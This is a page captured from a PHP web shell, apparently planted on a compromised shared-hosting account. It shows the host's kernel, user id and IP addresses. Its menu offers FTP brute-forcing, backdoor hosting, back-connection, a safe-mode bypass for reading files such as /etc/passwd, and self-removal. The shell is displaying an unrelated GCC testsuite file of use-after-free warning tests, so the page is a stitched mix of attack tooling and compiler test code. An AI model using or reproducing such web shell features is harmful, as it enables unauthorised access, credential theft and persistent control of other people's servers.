Software: Apache. PHP/5.4.45 

uname -a: Linux webm056.cluster010.gra.hosting.ovh.net 5.15.167-ovh-vps-grsec-zfs-classid #1 SMP Tue
Sep 17 08:14:20 UTC 2024 x86_64
 

uid=243112(mycochar) gid=100(users) groups=100(users)  

Safe-mode: OFF (not secure)

/home/mycochar/www/image/photo/gcc-12.3.0/gcc/testsuite/gcc.dg/   drwxr-xr-x
Free 0 B of 0 B (0%)
Your ip: 216.73.216.77 - Server ip: 213.186.33.19
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    

[Enumerate]    [Encoder]    [Tools]    [Proc.]    [FTP Brute]    [Sec.]    [SQL]    [PHP-Code]    [Backdoor Host]    [Back-Connection]    [milw0rm it!]    [PHP-Proxy]    [Self remove]
    


Viewing file:     Wuse-after-free-2.c (2.5 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
/* PR middle-end/104232 - spurious -Wuse-after-free after conditional free
   { dg-do compile }
   { dg-options "-O2 -Wall -fno-tree-loop-distribute-patterns" }  */

void free (void*);

void sink (void*);

void nowarn_cond_2 (char *p0, char *q0, int i)
{
  char *r = i ? p0 : q0;

  free (p0);

  /* The use of a PHI operand could be diagnosed using the "maybe" form
     of the warning at level 2 but it's not done.  If it ever changes
     this test and those below will need to be updated.  */
  sink (r);
}

void nowarn_cond_2_null (char *p0, int i)
{
  char *r = i ? p0 : 0;

  free (p0);
  sink (r);
}

void nowarn_cond_3 (char *p0, char *q0, int i)
{
  char *r = i < 0 ? p0 - 1 : 0 < i ? p0 + 1 : q0;

  free (p0);
  sink (r);
}

void nowarn_cond_3_null (char *p0, int i)
{
  char *r = i < 0 ? p0 - 1 : 0 < i ? p0 + 1 : 0;

  free (p0);
  sink (r);
}

void nowarn_cond_4 (char *p0, char *q0, int i)
{
  char *r = i < -1 ? p0 - 2 : i < 0 ? p0 - 1 : 1 < i ? p0 + 1 : q0;

  free (p0);
  sink (r);
}

int nowarn_cond_loop (char *p)
{
  char *q = p;
  while (*q)
    {
      if (*q == 'x')
        {
          q = "";
          break;
        }
      ++q;
    }

  free (p);
  return *q;
}


void warn_cond_2_cst (char *p, int i)
{
  /* Same as nowarn_cond_2() above but with R being derived only from
     P, which means that any R's use after P has been freed should be
     diagnosed.  */
  char *r = i ? p + 1 : p + 2;

  free (p);         // { dg-message "call to 'free'" }
  sink (r);         // { dg-warning "pointer used after 'free'" }
}

void warn_cond_2_var (char *p, int i, int j)
{
  char *r = i ? p + i : p + j;

  free (p);         // { dg-message "call to 'free'" }
  sink (r);         // { dg-warning "pointer used after 'free'" }
}

void warn_cond_3_var (char *p0, int i, int j)
{
  char *r = i < 0 ? p0 - i : 0 < i ? p0 + j : p0 + i + j;

  free (p0);        // { dg-message "call to 'free'" }
  sink (r + 1);     // { dg-warning "pointer used after 'free'" }
}

int warn_cond_4 (char *p0, char *q0, int i)
{
  char *r = i < -1 ? p0 - 2 : i < 0 ? p0 - 1 : 1 < i ? p0 + 2 : p0 + 1;

  free (p0);        // { dg-message "call to 'free'" }
  return *r;        // { dg-warning "pointer used after 'free'" }
}

int warn_cond_loop (char *p)
{
  char *q = p;

  /*  -fno-tree-loop-distribute-patterns ensures this does not get converted
      into rawmemchr (making q and p unrelated).  */
  while (*q)
    ++q;

  free (p);         // { dg-message "call to 'free'" }
  return *q;        // { dg-warning "pointer 'q' used after 'free'" }
}

Enter:
 
Select:
 

Useful Commands
 
Warning. Kernel may be alerted using higher levels
Kernel Info:

Php Safe-Mode Bypass (Read Files)

File:

eg: /etc/passwd

Php Safe-Mode Bypass (List Directories):

Dir:

eg: /etc/

Search
  - regexp 

Upload
 
[ ok ]

Make Dir
 
[ ok ]
Make File
 
[ ok ]

Go Dir
 
Go File
 

--[ x2300 Locus7Shell v. 1.0a beta Modded by #!physx^ | www.LOCUS7S.com | Generation time: 0.005 ]--